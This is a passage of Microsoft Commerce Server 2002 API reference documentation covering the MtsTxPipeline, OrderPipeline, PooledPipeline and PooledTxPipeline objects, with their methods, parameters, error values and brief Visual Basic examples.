' pOrderGroup is an OrderGroup object.

pOrderGroup.LogFile = "CustomShipping.log"

See Also

[C++] MtsPipeline Object

[Visual Basic] MtsPipeline Object

[C++] IPipeline::Execute

[Visual Basic] MtsPipeline.Execute

[C++] IPipeline::LoadPipe

[Visual Basic] MtsPipeline.LoadPipe

[C++] PooledPipeline Object

[Visual Basic] PooledPipeline Object


MtsTxPipeline Object [C++]

MtsTxPipeline Object [Visual Basic]

Use this object to run a transacted Microsoft Commerce Server 2002 pipeline configuration. The pipeline may be an Order Processing pipeline (OPP).

ProgID: | Commerce.MtsTxPipeline (Externally creatable)
COM Class Name: | CTxPipeline
Type Library Name: | Microsoft Commerce 2002 Order Pipeline Type Library
DLL Name: | pipeline.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | IPipeline
Interface ID Constant: | IID_IPipeline
Header File: | pipeline.h, mspu_guids.h
[C++]

In C++, use the IPipeline interface to access the properties and methods of the MtsTxPipeline object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The MtsTxPipeline is usually created on each page in which it is used.

The MtsTxPipeline object is registered under Microsoft Transaction Server (MTS) as "transactions required." This object holds a transaction that spans all components in the pipeline configuration. For more information about transactions and pipelines, see Pipeline Basics.

When used with a database, the MtsTxPipeline object requires an ODBC-compliant database that supports MTS.

The Microsoft Distributed Transaction Coordinator (MSDTC) service must be running in order to use the MtsTxPipeline object.

To verify that the Distributed Transaction Coordinator service is running

  1. Click Start, point to Programs, point to Administrative Tools, and then click Services.
  2. Scroll to Distributed Transaction Coordinator and verify that the Status is Started.


IPipeline Methods [C++]

MtsTxPipeline Methods [Visual Basic]

Methods

[C++]
Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.


IPipeline::Execute Method [C++]

MtsTxPipeline.Execute Method [Visual Basic]

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[C++]
HRESULT IPipeline::Execute(
  long lMode,
  IDispatch* pdispOrder,
  IDispatch* pdispContext,
  long lFlags,
  long* pErrorLevel
);
[Visual Basic]
Function Execute(
  lMode As Long,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Long
) As Long

Parameters

lMode [C++]
[in] A long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2000 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from executing.
lMode [Visual Basic]
A long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2000 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from executing.
pdispOrder [C++]
[in] A pointer to the IDispatch interface of a Dictionary object. The Order dictionary that will be used by the pipeline, usually an OrderForm object.
pdispOrder [Visual Basic]
A reference to a Dictionary object. The Order dictionary that will be used by the pipeline, usually an OrderForm object.
pdispContext [C++]
[in] A pointer to the IDispatch interface of a Dictionary object. The Context dictionary that will be used by the pipeline.
pdispContext [Visual Basic]
A reference to a Dictionary object. The Context dictionary that will be used by the pipeline.
lFlags [C++]
[in] An unused long integer parameter. Must be set to zero (0).
lFlags [Visual Basic]
An unused Long parameter. Must be set to zero (0).
pErrorLevel [C++]
[out,retval] A pointer to a long that returns the error level.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. For more details, see the Error Values section.

[Visual Basic] If this method completes successfully, it returns a Long indicating whether there were warnings or errors detected by components in the pipeline. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++] In addition, the pErrorLevel parameter is set to one of the following three values:

[Visual Basic] In addition, the method returns one of the following three values:

Value | Description
1 | Success. The pipeline ran successfully.
2 | Warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3+ | Failure. A pipeline component failed to run.

Remarks

[C++] The pErrorLevel parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMtsTxPipeline is a Commerce.MtsTxPipeline object
' dOrder and dContext are Commerce.Dictionary objects

errVal = pMtsTxPipeline.Execute(1, dOrder, dContext, 0)

See Also

[C++] MtsTxPipeline Object

[Visual Basic] MtsTxPipeline Object

[C++] IPipeline::LoadPipe

[Visual Basic] MtsTxPipeline.LoadPipe

[C++] IPipeline::SetLogFile

[Visual Basic] MtsTxPipeline.SetLogFile


IPipeline::LoadPipe Method [C++]

MtsTxPipeline.LoadPipe Method [Visual Basic]

Use this method to load a pipeline configuration file (.pcf) into the pipeline.

Definition

[C++]
HRESULT IPipeline::LoadPipe(
  BSTR pszFileName
);
[Visual Basic]
Sub LoadPipe(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the pipeline configuration file (.pcf) name.
pszFileName [Visual Basic]
A String containing the pipeline configuration file (.pcf) name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a configuration file designated for non-transacted pipelines.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMtsTxPipeline is a Commerce.MtsTxPipeline object

errVal = pMtsTxPipeline.LoadPipe("CustomShip.pcf")

See Also

[C++] MtsTxPipeline Object

[Visual Basic] MtsTxPipeline Object

[C++] IPipeline::Execute

[Visual Basic] MtsTxPipeline.Execute

[C++] IPipeline::SetLogFile

[Visual Basic] MtsTxPipeline.SetLogFile


IPipeline::SetLogFile Method [C++]

MtsTxPipeline.SetLogFile Method [Visual Basic]

Use this method to identify the file in which to log the operations of the pipeline component.

Note

  • This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be used in a production environment: it degrades performance and may compromise the security of credit card numbers in non-set transactions.

Definition

[C++]
HRESULT IPipeline::SetLogFile(
  BSTR pszFileName
);
[Visual Basic]
Sub SetLogFile(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the name of the file in which to log events.
pszFileName [Visual Basic]
A String containing the name of the file in which to log events.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When logging is set, the pipeline logs the pipeline components that are called and the error values each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

Calling this method with an empty string turns off logging.

The SetLogFile method should be called immediately before running a pipeline. The SetLogFile method is also exposed on the OrderGroup object as the LogFile property and should be called before calling its RunPipe method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMtsPipeline is a Commerce.MtsTxPipeline object

errVal = pMtsTxPipeline.SetLogFile("CustomShipping.log")

See Also

[C++] MtsTxPipeline Object

[Visual Basic] MtsTxPipeline Object

[C++] IPipeline::LoadPipe

[Visual Basic] MtsTxPipeline.LoadPipe

[C++] IPipeline::Execute

[Visual Basic] MtsTxPipeline.Execute


OrderPipeline Object [C++]

OrderPipeline Object [Visual Basic]

Use this object to run a Microsoft Commerce Server 2002 Content Selection pipeline. To create an Order Processing pipeline (OPP), use a PooledPipeline, PooledTxPipeline, MtxPipeline, or MtsTxPipeline object.

ProgID: | Commerce.OrderPipeline (Externally creatable)
COM Class Name: | COrderPipeline
Type Library Name: | Microsoft Commerce 2002 Order Pipeline Type Library
DLL Name: | pipeline.dll
Threading Model: | Both
[C++]
COM Interface Name: | IOrderPipeline
Interface ID Constant: | IID_IOrderPipeline
Header File: | pipeline.h, mspu_guids.h
[C++]

In C++, use the IOrderPipeline interface to access the properties and methods of the OrderPipeline object.

Methods

[C++]
Method | Description
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
OrderExecute | Runs the components in the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
OrderExecute | Runs the components in the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The OrderPipeline should be used in Content Selection pipelines because Content Selection pipelines do not require transactions and because the OrderPipeline object is fully re-entrant by multiple threads. Other objects, such as MtsPipeline and MtsTxPipeline, must be used once, destroyed and recreated by each thread due to the rules of COM+ transactions.

The OrderPipeline object can create and run Content Selection pipelines or Order Processing pipelines (OPP); however, it is recommended that you use the OrderPipeline object only to create and run Content Selection pipelines. The OrderPipeline object is the only pipeline object that is not registered under COM+ Services.

The OrderPipeline object is usually created in the file Global.asa and put into an application collection.


IOrderPipeline Methods [C++]

OrderPipeline Methods [Visual Basic]

Methods

[C++]
Method | Description
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
OrderExecute | Runs the components in the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
OrderExecute | Runs the components in the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.


IOrderPipeline::LoadPipe Method [C++]

OrderPipeline.LoadPipe Method [Visual Basic]

Use this method to load a pipeline configuration file (.pcf) into the pipeline.

Definition

[C++]
HRESULT IOrderPipeline::LoadPipe(
  BSTR pszFileName
);
[Visual Basic]
Sub LoadPipe(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the pipeline configuration file name.
pszFileName [Visual Basic]
A String containing the pipeline configuration file name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a pipeline configuration file designated for transactions (for use with the MtsTxPipeline or PooledTxPipeline objects).

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pOrdPipeline is a Commerce.OrderPipeline object.

errVal = pOrdPipeline.Load("CustomShip.pcf")

See Also

[C++] OrderPipeline Object

[Visual Basic] OrderPipeline Object

[C++] IOrderPipeline::OrderExecute

[Visual Basic] OrderPipeline.OrderExecute

[C++] IOrderPipeline::SetLogFile

[Visual Basic] OrderPipeline.SetLogFile


IOrderPipeline::OrderExecute Method [C++]

OrderPipeline.OrderExecute Method [Visual Basic]

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[C++]
HRESULT IOrderPipeline::OrderExecute(
  long lMode,
  IDispatch* pdispOrder,
  IDispatch* pdispContext,
  long lFlags,
  long* pErrorLevel
);
[Visual Basic]
Function OrderExecute(
  lMode As Long,
  pdispOrder As IDispatch,
  pdispContext As IDispatch,
  lFlags As Long
) As Long

Parameters

lMode [C++]
[in] A long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2002 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from executing.
lMode [Visual Basic]
A long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2002 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from executing.
pdispOrder [C++]
[in] A pointer to the IDispatch interface of a Dictionary object, usually an OrderForm object. The Order dictionary that will be used by the pipeline.
pdispOrder [Visual Basic]
A reference to a Dictionary object, usually an OrderForm object. The Order dictionary that will be used by the pipeline.
pdispContext [C++]
[in] A pointer to the IDispatch interface of a Dictionary object. The Context dictionary that will be used by the pipeline.
pdispContext [Visual Basic]
A reference to a Dictionary object. The Context dictionary that will be used by the pipeline.
lFlags [C++]
[in] An unused long integer parameter. Must be set to zero (0).
lFlags [Visual Basic]
An unused Long parameter. Must be set to zero (0).
pErrorLevel [C++]
[out,retval] A pointer to an integer that returns the error level.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long indicating whether there were warnings or errors detected by components in the pipeline. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++] In addition, the pErrorLevel parameter is set to one of the following three values:

[Visual Basic] In addition, the method returns one of the following three values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.

Remarks

[C++]

The pErrorLevel parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pOrdPipeline is a Commerce.OrderPipeline object.
' lMode is a Long.
' dOrder and dContext are Commerce.Dictionary objects.

errVal = pOrdPipeline.Execute(l, dOrder, dContext, 0)

See Also

[C++] OrderPipeline Object

[Visual Basic] OrderPipeline Object

[C++] IOrderPipeline::LoadPipe

[Visual Basic] OrderPipeline.LoadPipe

[C++] IOrderPipeline::SetLogFile

[Visual Basic] OrderPipeline.SetLogFile


IOrderPipeline::SetLogFile Method [C++]

OrderPipeline.SetLogFile Method [Visual Basic]

Use this method to identify the file in which to log the operations of the pipeline component.

Definition

[C++]
HRESULT IOrderPipeline::SetLogFile(
  BSTR pszFileName
);
[Visual Basic]
Sub SetLogFile(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the name of the file in which to log events.
pszFileName [Visual Basic]
A String containing the name of the file in which to log events.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be used in a production environment: it degrades performance and may compromise the security of credit card numbers in non-set transactions.

When logging is set, the pipeline logs the pipeline components that are called and the error values each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

Calling this method with an empty string turns off logging.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pOrdPipeline is a Commerce.OrderPipeline object.

errVal = pOrdPipeline.SetLogFile("CustomShipping.log")

See Also

[C++] OrderPipeline Object

[Visual Basic] OrderPipeline Object

[C++] IOrderPipeline::LoadPipe

[Visual Basic] OrderPipeline.LoadPipe

[C++] IOrderPipeline::OrderExecute

[Visual Basic] OrderPipeline.OrderExecute


PooledPipeline Object [C++]

PooledPipeline Object [Visual Basic]

Use this object to run a Microsoft Commerce Server 2002 pipeline configuration file. The pipeline may be an Order Processing pipeline (OPP).

The PooledPipeline object uses COM+ object pooling to greatly increase the loading speed of pipelines, where the contained pipeline components support object pooling. For more information about pooled pipelines, see Pooled Pipelines.

ProgID: | Commerce.PooledPipeline (Externally creatable)
COM Class Name: | CPooledPipeline
Type Library Name: | Microsoft Commerce 2002 Order Pipeline Type Library
DLL Name: | pipeline.dll
Threading Model: | Both
[C++]
COM Interface Name: | IPipeline
Interface ID Constant: | IID_IPipeline
Header File: | pipeline.h, mspu_guids.h
[C++]

In C++, use the IPipeline interface to access the properties and methods of the PooledPipeline object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Execute | Executes the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Executes the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The PooledPipeline object should be created on each Active Server Pages (ASP) page in which it is used rather that being held in Application or Sessions scope.

In general, use the PooledPipeline object only in production Web sites; use the MtsPipeline object when developing the site. If you use the PooledPipeline object during development, you will need to stop and restart Internet Information Services (IIS).

When you create custom poolable pipeline components, you must add the Component Object Model (COM) category, CATID_MSCSPIPELINE_POOLABLE, to the component to make it poolable. For more information about making a pipeline poolable, see Registering the ATL Component.

The PooledPipeline object is registered under COM+ as "transactions not supported." Use this pipeline where transactions are not needed. For more information about transactions and pipelines, see Pipeline Basics.


IPipeline Methods [C++]

PooledPipeline Methods [Visual Basic]

Methods

[C++]
Method | Description
Execute | Executes the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Executes the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.


IPipeline::Execute Method [C++]

PooledPipeline.Execute Method [Visual Basic]

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[C++]
HRESULT IPipeline::Execute(
  long lMode,
  IDispatch* pdispOrder,
  IDispatch* pdispContext,
  long lFlags,
  long* pErrorLevel
);
[Visual Basic]
Function Execute(
  lMode As Long,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Long
) As Long

Parameters

lMode [C++]
[in] A long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2002 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from executing.
lMode [Visual Basic]
A Long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2002 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from executing.
pdispOrder [C++]
[in] A pointer to the IDispatch interface of the business object (typically a dictionary object or an order form object).
pdispOrder [Visual Basic]
A reference to a business object (typically a dictionary object or an order form object).
pdispContext [C++]
[in] A pointer to the IDispatch interface of the secondary business object (typically a context dictionary).
pdispContext [Visual Basic]
A reference to a secondary business object (typically a context dictionary).
lFlags [C++]
[in] An unused long integer parameter. Must be set to zero (0).
lFlags [Visual Basic]
An unused Long parameter. Must be set to zero (0).
pErrorLevel [C++]
[out,retval] A pointer to a long that returns the error level.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long indicating whether there were warnings or errors detected by components in the pipeline. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++] In addition, the pErrorLevel parameter is set to one of the following three values:

[Visual Basic] In addition, the method returns one of the following three values:

Value | Description
1 | Success. The pipeline ran successfully.
2 | Warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3+ | Failure. A pipeline component failed to run.

Remarks

[C++]

The pErrorLevel parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dOrder, dContext are Commerce.Dictionary objects.
' pPooledPipeline is a Commerce.PooledPipeline object.

errVal = pPooledPipeline.Execute(1, dOrder, dContext, 0)

See Also

[C++] PooledPipeline Object

[Visual Basic] PooledPipeline Object

[C++] IPipeline::LoadPipe

[Visual Basic] PooledPipeline.LoadPipe

[C++] IPipeline::SetLogFile

[Visual Basic] PooledPipeline.SetLogFile


IPipeline::LoadPipe Method [C++]

PooledPipeline.LoadPipe Method [Visual Basic]

Use this method to load a pipeline configuration file (.pcf) into a pipeline.

Definition

[C++]
HRESULT IPipeline::LoadPipe(
  BSTR pszFileName
);
[Visual Basic]
Sub LoadPipe(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the pipeline configuration file (.pcf) name.
pszFileName [Visual Basic]
A String containing the pipeline configuration file (.pcf) name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a pipeline configuration file that is designated to be used for transactions (for use in MtsTxPipeline or PooledTxPipeline).

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pPooledPipeline is a Commerce.PooledPipeline object.

errVal = pPooledPipeline.LoadPipe("CustomShip.pcf")

See Also

[C++] PooledPipeline Object

[Visual Basic] PooledPipeline Object

[C++] IPipeline::Execute

[Visual Basic] PooledPipeline.Execute

[C++] IPipeline::SetLogFile

[Visual Basic] PooledPipeline.SetLogFile


IPipeline::SetLogFile Method [C++]

PooledPipeline.SetLogFile Method [Visual Basic]

Use this method to identify the file in which to log the operations of the pipeline component.

Definition

[C++]
HRESULT IPipeline::SetLogFile(
  BSTR pszFileName
);
[Visual Basic]
Sub SetLogFile(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the name of the file in which to log events.
pszFileName [Visual Basic]
A String containing the name of the file in which to log events.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be enabled in a production environment: it degrades performance and compromises the security of credit card numbers in non-set transactions. The file system must be configured to allow the process running the pipeline to have write access to the specified path.

When logging is set, the pipeline logs the pipeline components that are called and the error values that each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

Calling this method with an empty string turns off logging.

The SetLogFile method should be called immediately before running a pipeline.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pPooledPipeline is a Commerce.PooledPipeline object.

errVal = pPooledPipeline.SetLogFile("CustomShipping.log")

See Also

[C++] PooledPipeline Object

[Visual Basic] PooledPipeline Object

[C++] IPipeline::Execute

[Visual Basic] PooledPipeline.Execute

[C++] IPipeline::LoadPipe

[Visual Basic] PooledPipeline.LoadPipe

7


PooledTxPipeline Object [C++]

PooledTxPipeline Object [Visual Basic]

Use this object to execute a Microsoft Commerce Server 2002 pipeline. The pipeline may be an Order Processing pipeline (OPP). Use in place of the PooledPipeline object where you need transactions.

The PooledTxPipeline object uses COM+ object pooling to greatly increase the loading speed of pipelines. For more information about pooled pipelines, see Pooled Pipelines.

ProgID: | Commerce.PooledTxPipeline (Externally creatable)
COM Class Name: | CPooledTxPipeline
Type Library Name: | Microsoft Commerce 2002 Order Pipeline Type Library
DLL Name: | pipeline.dll
Threading Model: | Both
[C++]
COM Interface Name: | IPipeline
Interface ID Constant: | IID_IPipeline
Header File: | pipeline.h, mspu_guids.h
[C++]

In C++, use the IPipeline interface to access the properties and methods of the PooledTxPipeline object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Execute | Runs the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Runs the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The PooledTxPipeline object is registered under COM+ as "transactions required." Use this pipeline where transactions are needed. For more information about transactions and pipelines, see Pipeline Basics.

The Microsoft Distributed Transaction Coordinator (MSDTC) service must be running in order to use the PooledTxPipeline object.

To verify that the Distributed Transaction Coordinator service is running

  1. Click Start, point to Programs, point to Administrative Tools, and then click Services.
  2. Scroll to Distributed Transaction Coordinator and verify that the Status is Started.

In general, use the PooledTxPipeline object only in production Web sites; use the MtsPipeline object when developing the site. If you use the PooledTxPipeline object during development, you will need to stop and restart Internet Information Services (IIS) in order to force the .pcf files to be re-read when you change them.

The PooledPipeline object should be created on each ASP page in which it is used rather than being held in Application or Session scope.

When you create custom poolable pipeline components, you must add the Component Object Model (COM) category, CATID_MSCSPIPELINE_POOLABLE, to the component to make it poolable. For more information about making a pipeline poolable, see Registering the ATL Component.


IPipeline Methods [C++]

PooledTxtPipeline Methods [Visual Basic]

Methods

[C++]
Method | Description
Execute | Runs the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Runs the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.


IPipeline::Execute Method [C++]

PooledTxPipeline.Execute Method [Visual Basic]

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[C++]
HRESULT IPipeline::Execute(
  long lMode,
  IDispatch* pdispOrder,
  IDispatch* pdispContext,
  long lFlags,
  long* pErrorLevel
);
[Visual Basic]
Function Execute(
  lMode As Long,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Long
) As Long

Parameters

lMode [C++]
[in] A long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2002 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from executing.
lMode [Visual Basic]
A Long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2002 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from executing.
pdispOrder [C++]
[in] A pointer to the IDispatch interface of the business object (typically a dictionary object or an order form object).
pdispOrder [Visual Basic]
A reference to a business object (typically a dictionary object or an order form object). The Order dictionary that will be used by the pipeline, usually an OrderForm object.
pdispContext [C++]
[in] A pointer to the IDispatch interface of the secondary business object (typically a context dictionary object).
pdispContext [Visual Basic]
A reference to a secondary business object (typically a context dictionary object).
lFlags [C++]
[in] An unused long integer parameter. Must be set to zero (0).
lFlags [Visual Basic]
An unused Long parameter. Must be set to zero (0).
pErrorLevel [C++]
